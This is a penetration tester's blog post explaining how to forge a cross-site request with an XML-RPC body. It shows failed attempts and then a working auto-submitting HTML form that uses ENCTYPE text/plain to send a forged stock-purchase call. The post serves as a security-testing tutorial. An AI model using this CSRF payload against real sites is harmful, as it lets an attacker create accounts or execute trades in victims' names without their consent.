Cross-Site Request Forgery For POST Requests With An XML Body

I recently had cause to create a proof-of-concept for a site that seemed to be vulnerable to Cross-Site Request Forgery (CSRF).  I say “seemed” because there was no CSRF protection, but I was finding the XML POST body really hard to forge (It was a SOAP / XMLRPC type request).

Eventually Sid from notsosecure.com pointed me in the right direction.  The solution is not new, but it’s interesting if you’ve never come across this problem before.

What I Was Trying To Achieve

I wanted to write a malicious web page, which would automatically send a request like the one below when a victim viewed it:

POST /createnewuser HTTP/1.1
Host: site.being.tested.com
Cookie: mysessionid=90450874698749829

<?xml version value='"1.0"?><methodCall>... new creds go here...</methodCall>

The Stuff That Didn’t Work

The most obvious approach is probably to have JavaScript automatically sumbit a form containing a hidden form field.  Below is my initial attempt.  Note that I stuff the XML into the “name” of a POST parameter.

 <FORM action="http://site.being.tested.com/createnewuser" METHOD="POST">
 <input type="hidden" name="<?xml version...">
 </FORM>
 <script>document.forms[0].submit();</script>

This fails for 2 important reasons:

  1. The “name” containing my XML gets URL encoded thereby corrupting the body of the POST request
  2. There’s a stray “=” at the end of the request.  POST requests bodies are of the form “name=value&name2=value2”.  Since I specified only a single name with no value, the browser quite rightly appended an “=” after the name.

So my forged POST request looked something like this:

POST /createnewuser HTTP/1.1
Host: site.being.tested.com
Cookie: mysessionid=90450874698749829

%3C%3Fxml%20version%20value%3D'%221.0%22%3F%3E%3CmethodCall%3E...%20new%20creds%20go%20here...%3C%2FmethodCall%3E=

No where close!

I also considered JavaScript’s XMLHttpRequest and Flash’s XML.Send, but these obviously won’t work because the request is cross-domain.

The Solution

Sid pointed out that  Shreeraj Shah presented an elegant solution to this problem in slide 34 of his HITB presentation in 2008.

To quote from his presentation, the poc should specify an ENCTYPE of  “text/plain”:

<FORM NAME="buy" ENCTYPE="text/plain"
action="http://trade.example.com/xmlrpc/trade.rem" METHOD="POST">
<input type="hidden" name='<?xml version'
value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'>
</FORM>
<script>document.buy.submit();</script>

This results in a perfectly formatted Cross-Domain XML POST request.  The ENCTYPE avoids the body being encoded and he cleverly absorbs the unwanted “=” into the XML at a point where we need an “=” anyway.

 

 


Leave a Reply